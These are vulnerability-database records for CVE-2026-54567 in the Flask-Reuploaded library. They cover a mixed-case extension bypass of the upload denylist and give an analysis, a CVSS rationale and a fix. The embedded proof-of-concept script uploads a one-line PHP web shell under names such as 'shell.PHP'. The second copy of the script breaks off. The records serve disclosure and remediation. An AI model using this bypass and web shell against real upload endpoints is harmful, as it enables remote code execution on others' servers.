{
  "affected": [
    {
      "affectedData": [
        {
          "product": "flask-reuploaded",
          "vendor": "jugmac00",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flask-Reuploaded provides file uploads for Flask. From 1.5.0 until 1.6.0, UploadSet.save(storage, name=...) in src/flask_uploads/flask_uploads.py applies lowercase_ext to the default upload path but uses the case-preserving extension helper for a caller-supplied name before extension_allowed evaluates an AllExcept denylist. An attacker who controls the name override can use a mixed-case dangerous extension to bypass a lowercase denylist and store the file in the served upload directory. Exploitation requires a denylist configuration, a user-influenced name override, and a deployment that resolves or executes extensions case-insensitively; pure allowlists remain protected and path containment is not bypassed. On an execution-capable upload directory, the stored file can execute with the web server\u0027s privileges and affect confidentiality, integrity, and availability. This issue is fixed in version 1.6.0."
    }
  ],
  "id": "CVE-2026-54567",
  "lastModified": "2026-09-16T16:17:09.010",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54567",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-16T15:22:17.514494Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-14T18:17:53.547",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jugmac00/flask-reuploaded/pull/186"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-178"
        },
        {
          "lang": "en",
          "value": "CWE-434"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Flask-Reuploaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T20:11:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## 1. Header\n\n| Field | Value |\n|---|---|\n| **Title** | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |\n| **Project** | Flask-Reuploaded (`flask_uploads`) |\n| **Affected** | `\u003c= 1.5.0` (latest release; commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`) |\n| **Relationship** | Incomplete-fix variant of **CVE-2026-27641** (fixed in v1.5.0; this variant survives that fix) |\n| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |\n| **CVSS v3.1 (proposed)** | **~7.0\u20137.3 (High, conditional)** \u2014 `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`. Final score deferred to maintainer. |\n| **Verified against** | `pip install Flask-Reuploaded==1.5.0`, Python 3.11 |\n\n---\n\n## 2. Decisive evidence \u2014 the asymmetry\n\nThe v1.5.0 fix for CVE-2026-27641 added an extension **re-validation** that runs when a caller supplies a `name` override to `UploadSet.save()`. It is routed through the **case-preserving** `extension()` helper, whereas the default upload path normalizes to lowercase via `lowercase_ext()` (inside `get_basename()`). The two paths disagree on case:\n\n```\ndefault path     : get_basename(\"shell.PHP\")\n                   = lowercase_ext(secure_filename(\"shell.PHP\")) = \"shell.php\"\n                   -\u003e extension(\"shell.php\") = \"php\"\n                   -\u003e extension_allowed(\"php\")  -\u003e DENY      (correct)\n\nname-override    : secure_filename(\"shell.PHP\") = \"shell.PHP\"   (case preserved)\n                   -\u003e basename = \"shell.PHP\"\n                   -\u003e ext = extension(\"shell.PHP\") = \"PHP\"        (NOT lowercased)\n                   -\u003e extension_allowed(\"PHP\")  -\u003e ALLOW         (bypass)\n```\n\nOn a denylist `UploadSet` the allow-check returns `True` for the mixed-case form:\n\n```python\n# extensions.py:97\ndef __contains__(self, item): return item not in self.items\n# \"PHP\" not in (\u0027js\u0027,\u0027php\u0027,\u0027pl\u0027,\u0027py\u0027,\u0027rb\u0027,\u0027sh\u0027)  -\u003e  True   -\u003e  allowed\n```\n\n`extension_allowed(\"PHP\")` passes the denylist that `extension_allowed(\"php\")` is blocked by.\n\n---\n\n## 3. Vulnerability summary\n\n`UploadSet.save(storage, name=...)` lets the caller override the stored filename. After the CVE-2026-27641 fix, `name` is sanitized with `secure_filename()` and its extension re-validated. Because the re-validation compares a **case-preserving** extension against a policy whose denied tokens are lowercase, an attacker controlling `name` stores a file with a denied extension by varying case (`shell.PHP`, `evil.pHp`). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache `AddHandler`/`AddType`), this re-enables the dangerous-upload \u2192 code-execution outcome the parent CVE addressed. The bypassed config is the one the library\u0027s own docs recommend for blocking scripts (see \u00a76).\n\n---\n\n## 4. Affected components\n\nPermalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23` (v1.5.0).\n\n| Role | Location |\n|---|---|\n| Normalizing helper (default path) | `src/flask_uploads/flask_uploads.py:283` \u2014 `return lowercase_ext(secure_filename(filename))` |\n| `save()` entry | `src/flask_uploads/flask_uploads.py:285` |\n| name-override sanitize | `src/flask_uploads/flask_uploads.py:333` \u2014 `name = secure_filename(name)` |\n| name-override assign (case kept) | `src/flask_uploads/flask_uploads.py:341` \u2014 `basename = name` |\n| **Re-validation (non-normalizing)** | `src/flask_uploads/flask_uploads.py:344` \u2014 `ext = extension(basename)` |\n| Allow-check | `src/flask_uploads/flask_uploads.py:345` |\n| Policy check | `src/flask_uploads/flask_uploads.py:268` \u2014 `extension_allowed` |\n| Containment backstop (path only) | `src/flask_uploads/flask_uploads.py:364` |\n| Sink | `src/flask_uploads/flask_uploads.py:374` \u2014 `storage.save(target)` |\n| Case-preserving extractor | `src/flask_uploads/extensions.py:101` \u2014 `def extension` |\n| Case-normalizing extractor | `src/flask_uploads/extensions.py:109` \u2014 `def lowercase_ext` |\n| Denylist membership | `src/flask_uploads/extensions.py:97` \u2014 `AllExcept.__contains__` |\n| Documented script denylist | `src/flask_uploads/extensions.py:34-35` |\n\n---\n\n## 5. Taint analysis\n\n- **Source:** the `name` argument of `UploadSet.save(storage, name=...)` \u2014 commonly user-derived; the parent CVE-2026-27641 already treats `name` as attacker-controllable.\n- **Guard (asymmetric):** `secure_filename(name)` stops traversal, but the extension policy check at `:344-345` uses non-normalizing `extension()` against a lowercase-tokened policy. The realpath containment at `:364` constrains the *path*, not the *extension* \u2014 orthogonal to this bypass.\n- **Sink:** `storage.save(target)` at `:374` writes the attacker-extensioned file into the served upload directory.\n\n---\n\n## 6. CVSS justification (preconditions stated honestly)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` \u2248 **7.0\u20137.3 (High)**.\n\n- **AV:N** \u2014 web upload endpoint.\n- **AC:H** \u2014 three preconditions (stated plainly):\n  1. `UploadSet` uses a **denylist** \u2014 `AllExcept(...)` or populated `config.deny`. (Allowlists fail closed \u2014 \u00a77c.)\n  2. Application passes a **user-influenced `name`** to `save()`.\n  3. Deployment resolves/executes extensions **case-insensitively** (Windows/macOS FS; Apache `AddHandler`/`AddType`).\n- **PR:L** \u2014 uploads typically authenticated. **UI:N**. **S:U**. **C:H/I:H/A:H** \u2014 RCE under the web server\u0027s privileges on execution-capable upload dirs.\n\n**Why High, not a contrived misconfiguration** \u2014 the bypassed control is the library\u0027s documented script-blocking mechanism:\n\n- `extensions.py:34-35` \u2014 `SCRIPTS`: *\"\u2026you might want to add ``php`` to the DENY setting.\"*\n- `extensions.py:24-26` \u2014 `EXECUTABLES`: *\"\u2026it\u0027s better suited for use with `AllExcept`.\"*\n\nAn app that followed this guidance to block scripts is exactly what this variant defeats.\n\n**Not claimed:** not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.\n\n---\n\n## 7. Proof of Concept (results)\n\nAgainst shipped `Flask-Reuploaded==1.5.0`:\n\n### 7a. Asymmetry\n```\ndefault path  : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\nname-override : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" -\u003e extension(...) -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n```\n\n### 7b. End-to-end (denylist `AllExcept(SCRIPTS)`)\n```\n[1] save(storage(\"shell.PHP\"))                              -\u003e UploadNotAllowed   (default path blocked)\n[2] save(storage(\"upload.bin\"), name=\"shell.PHP\")           -\u003e saved \"shell.PHP\", on_disk=True   (BYPASS)\n[2b] save(storage(\"upload.bin\"), name=\"evil.pHp\")           -\u003e saved \"evil.pHp\",  on_disk=True; containment intact\n```\n\n### 7c. Negative controls\n```\n[3] allowlist IMAGES, name=\"shell.PHP\"  -\u003e UploadNotAllowed: File extension \u0027PHP\u0027 is not allowed  (fail-closed)\n[4] allowlist IMAGES, name=\"photo.jpg\"  -\u003e saved \"photo.jpg\"                                       (legit unaffected)\n```\n\n---\n\n## 8. Patch pattern (internal precedent)\n\nThe project ships a **case-normalizing** extractor (`lowercase_ext`, used by `get_basename`) specifically so configured extensions are *\"compare[d] \u2026 in the same case\"* (its docstring). The v1.5.0 re-validation instead calls the **case-preserving** `extension()`, so the new guard does not match the normalization the rest of the system relies on \u2014 the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.\n\n---\n\n## 9. Impact\n\n- Bypass of the documented extension denylist for scripts/executables.\n- Storage of `.PHP` / `.pHp` / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).\n- On case-insensitive execution surfaces \u2192 **remote code execution** under the web server\u0027s privileges \u2014 the parent CVE\u0027s end impact, re-enabled on denylist deployments.\n\n---\n\n## 10. Suggested remediation\n\nNormalize before the policy check so the name-override path matches the default path:\n\n1. `ext = extension(basename).lower()` (or `extension(lowercase_ext(basename))`) before `extension_allowed`.\n2. Or run the overridden `basename` through `lowercase_ext()` (as `get_basename` does) before both validation and save.\n3. Or make `extension_allowed` / the policy containers case-insensitive.\n\nOption (1) or (2) is the minimal, behavior-preserving fix.\n\n---\n\n## 11. Evidence files\n\n- `poc_case_fold.py` (\u00a712) \u2014 self-contained PoC; runs against `pip install Flask-Reuploaded==1.5.0`.\n- `/tmp/flask_reuploaded_case_fold_proof.txt` \u2014 captured verdict.\n- Source permalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`.\n\n---\n\n## 12. Full PoC script (`poc_case_fold.py`)\n\n```python\n\"\"\"\nPoC \u2014 Flask-Reuploaded CVE-2026-27641 incomplete-fix variant\nCase-folding asymmetry in the name-override extension re-validation.\n\nParent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a\n`name` override is supplied, but routed it through the CASE-PRESERVING\n`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the\ndefault upload path (get_basename -\u003e lowercase_ext). On a denylist-style UploadSet\n(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the\ndenylist that the default path correctly blocks.\n\n  default path     : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\n  name-override    : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" (case kept)\n                     -\u003e extension(\"shell.PHP\")  -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n\nTested against the SHIPPED, patched Flask-Reuploaded==1.5.0.\n\"\"\"\nimport io\nimport os\nimport shutil\nimport tempfile\n\nfrom flask import Flask\nfrom flask_uploads import (\n    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,\n)\nfrom werkzeug.datastructures import FileStorage\nimport flask_uploads\n\n\ndef make_storage(filename: str) -\u003e FileStorage:\n    return FileStorage(\n        stream=io.BytesIO(b\"\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\"),\n        filename=filename,\n        content_type=\"application/octet-stream\",\n    )\n\n\ndef run():\n    import importlib.metadata as md\n    print(f\"[*] pip reports: Flask-Reuploaded=={md.version(\u0027Flask-Reuploaded\u0027)}\")\n\n    dest_denylist = tempfile.mkdtemp(prefix=\"fr_deny_\")\n    dest_allowlist = tempfile.mkdtemp(prefix=\"fr_allow_\")\n\n    app = Flask(__name__)\n    files_deny = UploadSet(\"filesdeny\", AllExcept(SCRIPTS))   # documented \"allow all except scripts\"\n    files_allow = UploadSet(\"filesallow\", IMAGES)             # allowlist (fail-closed)\n    app.config[\"UPLOADED_FILESDENY_DEST\"] = dest_denylist\n    app.config[\"UPLOADED_FILESALLOW_DEST\"] = dest_allowlist\n    configure_uploads(app, (files_deny, files_allow))\n\n    results = {}\n    with app.app_context():\n        # [1] default path, denylist -\u003e must DENY\n        try:\n            saved = files_deny.save(make_storage(\"shell.PHP\"))\n            results[\"default_path\"] = f\"SAVED as {saved}  \u003c-- UNEXPECTED\"\n        except UploadNotAllowed:\n            results[\"default_path\"] = \"DENIED (expected)\"\n\n        # [2] name-override, denylist -\u003e BYPASS\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"shell.PHP\")\n            on_disk = os.path.join(dest_denylist, saved)\n            results[\"variant\"] = f\"BYPASS \u2014 saved as {saved}, on_disk={os.path.exists(on_disk)}\"\n        except UploadNotAllowed:\n            results[\"variant\"] = \"DENIED (variant did NOT reproduce)\"\n\n        # [2b] mixed-case generality + containment intact\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"evil.pHp\")\n            on_disk = os.path.join(dest_denylist, saved)\n            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))\n            results[\"variant_mixed\"] = f\"BYPASS \u2014 saved as {saved}, inside_dest={inside}\"\n        except UploadNotAllowed:\n            results[\"variant_mixed\"] = \"DENIED\"\n\n        # [3] allowlist -\u003e fail closed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"shell.PHP\")\n            results[\"allowlist\"] = f\"SAVED as {saved}  \u003c-- allowlist leaked\"\n        except UploadNotAllowed:\n            results[\"allowlist\"] = \"DENIED (expected \u2014 allowlist fails closed)\"\n\n        # [4] legit upload -\u003e allowed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"photo.jpg\")\n            results[\"legit\"] = f\"SAVED as {saved} (expected)\"\n        except UploadNotAllowed:\n            results[\"legit\"] = \"DENIED (UNEXPECTED \u2014 legit upload broke)\"\n\n    print(\"VERDICT:\")\n    for k, v in results.items():\n        print(f\"   {k:14s}: {v}\")\n\n    confirmed = (\n        \"BYPASS\" in results.get(\"variant\", \"\")\n        and results.get(\"default_path\") == \"DENIED (expected)\"\n        and \"DENIED\" in results.get(\"allowlist\", \"\")\n    )\n    print(\"FLASK_REUPLOADED_CASE_FOLD_CONFIRMED\" if confirmed else \"VARIANT NOT CONFIRMED \u2014 honest cut\")\n\n    shutil.rmtree(dest_denylist, ignore_errors=True)\n    shutil.rmtree(dest_allowlist, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    run()\n```",
  "id": "GHSA-937x-gpqr-72gg",
  "modified": "2026-07-17T20:11:35Z",
  "published": "2026-07-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jugmac00/flask-reuploaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flask-reuploaded",
        "purl": "pkg:pypi/flask-reuploaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.3",
        "0.3.1",
        "0.3.2",
        "0.4.0",
        "0.5.0",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.3.0",
        "1.4.0",
        "1.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54567",
    "GHSA-937x-gpqr-72gg"
  ],
  "details": "## 1. Header\n\n| Field | Value |\n|---|---|\n| **Title** | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |\n| **Project** | Flask-Reuploaded (`flask_uploads`) |\n| **Affected** | `\u003c= 1.5.0` (latest release; commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`) |\n| **Relationship** | Incomplete-fix variant of **CVE-2026-27641** (fixed in v1.5.0; this variant survives that fix) |\n| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |\n| **CVSS v3.1 (proposed)** | **~7.0\u20137.3 (High, conditional)** \u2014 `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`. Final score deferred to maintainer. |\n| **Verified against** | `pip install Flask-Reuploaded==1.5.0`, Python 3.11 |\n\n---\n\n## 2. Decisive evidence \u2014 the asymmetry\n\nThe v1.5.0 fix for CVE-2026-27641 added an extension **re-validation** that runs when a caller supplies a `name` override to `UploadSet.save()`. It is routed through the **case-preserving** `extension()` helper, whereas the default upload path normalizes to lowercase via `lowercase_ext()` (inside `get_basename()`). The two paths disagree on case:\n\n```\ndefault path     : get_basename(\"shell.PHP\")\n                   = lowercase_ext(secure_filename(\"shell.PHP\")) = \"shell.php\"\n                   -\u003e extension(\"shell.php\") = \"php\"\n                   -\u003e extension_allowed(\"php\")  -\u003e DENY      (correct)\n\nname-override    : secure_filename(\"shell.PHP\") = \"shell.PHP\"   (case preserved)\n                   -\u003e basename = \"shell.PHP\"\n                   -\u003e ext = extension(\"shell.PHP\") = \"PHP\"        (NOT lowercased)\n                   -\u003e extension_allowed(\"PHP\")  -\u003e ALLOW         (bypass)\n```\n\nOn a denylist `UploadSet` the allow-check returns `True` for the mixed-case form:\n\n```python\n# extensions.py:97\ndef __contains__(self, item): return item not in self.items\n# \"PHP\" not in (\u0027js\u0027,\u0027php\u0027,\u0027pl\u0027,\u0027py\u0027,\u0027rb\u0027,\u0027sh\u0027)  -\u003e  True   -\u003e  allowed\n```\n\n`extension_allowed(\"PHP\")` passes the denylist that `extension_allowed(\"php\")` is blocked by.\n\n---\n\n## 3. Vulnerability summary\n\n`UploadSet.save(storage, name=...)` lets the caller override the stored filename. After the CVE-2026-27641 fix, `name` is sanitized with `secure_filename()` and its extension re-validated. Because the re-validation compares a **case-preserving** extension against a policy whose denied tokens are lowercase, an attacker controlling `name` stores a file with a denied extension by varying case (`shell.PHP`, `evil.pHp`). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache `AddHandler`/`AddType`), this re-enables the dangerous-upload \u2192 code-execution outcome the parent CVE addressed. The bypassed config is the one the library\u0027s own docs recommend for blocking scripts (see \u00a76).\n\n---\n\n## 4. Affected components\n\nPermalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23` (v1.5.0).\n\n| Role | Location |\n|---|---|\n| Normalizing helper (default path) | `src/flask_uploads/flask_uploads.py:283` \u2014 `return lowercase_ext(secure_filename(filename))` |\n| `save()` entry | `src/flask_uploads/flask_uploads.py:285` |\n| name-override sanitize | `src/flask_uploads/flask_uploads.py:333` \u2014 `name = secure_filename(name)` |\n| name-override assign (case kept) | `src/flask_uploads/flask_uploads.py:341` \u2014 `basename = name` |\n| **Re-validation (non-normalizing)** | `src/flask_uploads/flask_uploads.py:344` \u2014 `ext = extension(basename)` |\n| Allow-check | `src/flask_uploads/flask_uploads.py:345` |\n| Policy check | `src/flask_uploads/flask_uploads.py:268` \u2014 `extension_allowed` |\n| Containment backstop (path only) | `src/flask_uploads/flask_uploads.py:364` |\n| Sink | `src/flask_uploads/flask_uploads.py:374` \u2014 `storage.save(target)` |\n| Case-preserving extractor | `src/flask_uploads/extensions.py:101` \u2014 `def extension` |\n| Case-normalizing extractor | `src/flask_uploads/extensions.py:109` \u2014 `def lowercase_ext` |\n| Denylist membership | `src/flask_uploads/extensions.py:97` \u2014 `AllExcept.__contains__` |\n| Documented script denylist | `src/flask_uploads/extensions.py:34-35` |\n\n---\n\n## 5. Taint analysis\n\n- **Source:** the `name` argument of `UploadSet.save(storage, name=...)` \u2014 commonly user-derived; the parent CVE-2026-27641 already treats `name` as attacker-controllable.\n- **Guard (asymmetric):** `secure_filename(name)` stops traversal, but the extension policy check at `:344-345` uses non-normalizing `extension()` against a lowercase-tokened policy. The realpath containment at `:364` constrains the *path*, not the *extension* \u2014 orthogonal to this bypass.\n- **Sink:** `storage.save(target)` at `:374` writes the attacker-extensioned file into the served upload directory.\n\n---\n\n## 6. CVSS justification (preconditions stated honestly)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` \u2248 **7.0\u20137.3 (High)**.\n\n- **AV:N** \u2014 web upload endpoint.\n- **AC:H** \u2014 three preconditions (stated plainly):\n  1. `UploadSet` uses a **denylist** \u2014 `AllExcept(...)` or populated `config.deny`. (Allowlists fail closed \u2014 \u00a77c.)\n  2. Application passes a **user-influenced `name`** to `save()`.\n  3. Deployment resolves/executes extensions **case-insensitively** (Windows/macOS FS; Apache `AddHandler`/`AddType`).\n- **PR:L** \u2014 uploads typically authenticated. **UI:N**. **S:U**. **C:H/I:H/A:H** \u2014 RCE under the web server\u0027s privileges on execution-capable upload dirs.\n\n**Why High, not a contrived misconfiguration** \u2014 the bypassed control is the library\u0027s documented script-blocking mechanism:\n\n- `extensions.py:34-35` \u2014 `SCRIPTS`: *\"\u2026you might want to add ``php`` to the DENY setting.\"*\n- `extensions.py:24-26` \u2014 `EXECUTABLES`: *\"\u2026it\u0027s better suited for use with `AllExcept`.\"*\n\nAn app that followed this guidance to block scripts is exactly what this variant defeats.\n\n**Not claimed:** not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.\n\n---\n\n## 7. Proof of Concept (results)\n\nAgainst shipped `Flask-Reuploaded==1.5.0`:\n\n### 7a. Asymmetry\n```\ndefault path  : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\nname-override : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" -\u003e extension(...) -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n```\n\n### 7b. End-to-end (denylist `AllExcept(SCRIPTS)`)\n```\n[1] save(storage(\"shell.PHP\"))                              -\u003e UploadNotAllowed   (default path blocked)\n[2] save(storage(\"upload.bin\"), name=\"shell.PHP\")           -\u003e saved \"shell.PHP\", on_disk=True   (BYPASS)\n[2b] save(storage(\"upload.bin\"), name=\"evil.pHp\")           -\u003e saved \"evil.pHp\",  on_disk=True; containment intact\n```\n\n### 7c. Negative controls\n```\n[3] allowlist IMAGES, name=\"shell.PHP\"  -\u003e UploadNotAllowed: File extension \u0027PHP\u0027 is not allowed  (fail-closed)\n[4] allowlist IMAGES, name=\"photo.jpg\"  -\u003e saved \"photo.jpg\"                                       (legit unaffected)\n```\n\n---\n\n## 8. Patch pattern (internal precedent)\n\nThe project ships a **case-normalizing** extractor (`lowercase_ext`, used by `get_basename`) specifically so configured extensions are *\"compare[d] \u2026 in the same case\"* (its docstring). The v1.5.0 re-validation instead calls the **case-preserving** `extension()`, so the new guard does not match the normalization the rest of the system relies on \u2014 the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.\n\n---\n\n## 9. Impact\n\n- Bypass of the documented extension denylist for scripts/executables.\n- Storage of `.PHP` / `.pHp` / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).\n- On case-insensitive execution surfaces \u2192 **remote code execution** under the web server\u0027s privileges \u2014 the parent CVE\u0027s end impact, re-enabled on denylist deployments.\n\n---\n\n## 10. Suggested remediation\n\nNormalize before the policy check so the name-override path matches the default path:\n\n1. `ext = extension(basename).lower()` (or `extension(lowercase_ext(basename))`) before `extension_allowed`.\n2. Or run the overridden `basename` through `lowercase_ext()` (as `get_basename` does) before both validation and save.\n3. Or make `extension_allowed` / the policy containers case-insensitive.\n\nOption (1) or (2) is the minimal, behavior-preserving fix.\n\n---\n\n## 11. Evidence files\n\n- `poc_case_fold.py` (\u00a712) \u2014 self-contained PoC; runs against `pip install Flask-Reuploaded==1.5.0`.\n- `/tmp/flask_reuploaded_case_fold_proof.txt` \u2014 captured verdict.\n- Source permalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`.\n\n---\n\n## 12. Full PoC script (`poc_case_fold.py`)\n\n```python\n\"\"\"\nPoC \u2014 Flask-Reuploaded CVE-2026-27641 incomplete-fix variant\nCase-folding asymmetry in the name-override extension re-validation.\n\nParent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a\n`name` override is supplied, but routed it through the CASE-PRESERVING\n`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the\ndefault upload path (get_basename -\u003e lowercase_ext). On a denylist-style UploadSet\n(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the\ndenylist that the default path correctly blocks.\n\n  default path     : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\n  name-override    : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" (case kept)\n                     -\u003e extension(\"shell.PHP\")  -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n\nTested against the SHIPPED, patched Flask-Reuploaded==1.5.0.\n\"\"\"\nimport io\nimport os\nimport shutil\nimport tempfile\n\nfrom flask import Flask\nfrom flask_uploads import (\n    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,\n)\nfrom werkzeug.datastructures import FileStorage\nimport flask_uploads\n\n\ndef make_storage(filename: str) -\u003e FileStorage:\n    return FileStorage(\n        stream=io.BytesIO(b\"\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\"),\n        filename=filename,\n        content_type=\"application/octet-stream\",\n    )\n\n\ndef run():\n    import importlib.metadata as md\n    print(f\"[*] pip reports: Flask-Reuploaded=={md.version(\u0027Flask-Reuploaded\u0027)}\")\n\n    dest_denylist = tempfile.mkdtemp(prefix=\"fr_deny_\")\n    dest_allowlist = tempfile.mkdtemp(prefix=\"fr_allow_\")\n\n    app = Flask(__name__)\n    files_deny = UploadSet(\"filesdeny\", AllExcept(SCRIPTS))   # documented \"allow all except scripts\"\n    files_allow = UploadSet(\"filesallow\", IMAGES)             # allowlist (fail-closed)\n    app.config[\"UPLOADED_FILESDENY_DEST\"] = dest_denylist\n    app.config[\"UPLOADED_FILESALLOW_DEST\"] = dest_allowlist\n    configure_uploads(app, (files_deny, files_allow))\n\n    results = {}\n    with app.app_context():\n        # [1] default path, denylist -\u003e must DENY\n        try:\n            saved = files_deny.save(make_storage(\"shell.PHP\"))\n            results[\"default_path\"] = f\"SAVED as {saved}  \u003c-- UNEXPECTED\"\n        except UploadNotAllowed:\n            results[\"default_path\"] = \"DENIED (expected)\"\n\n        # [2] name-override, denylist -\u003e BYPASS\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"shell.PHP\")\n            on_disk = os.path.join(dest_denylist, saved)\n            results[\"variant\"] = f\"BYPASS \u2014 saved as {saved}, on_disk={os.path.exists(on_disk)}\"\n        except UploadNotAllowed:\n            results[\"variant\"] = \"DENIED (variant did NOT reproduce)\"\n\n        # [2b] mixed-case generality + containment intact\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"evil.pHp\")\n            on_disk = os.path.join(dest_denylist, saved)\n            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))\n            results[\"variant_mixed\"] = f\"BYPASS \u2014 saved as {saved}, 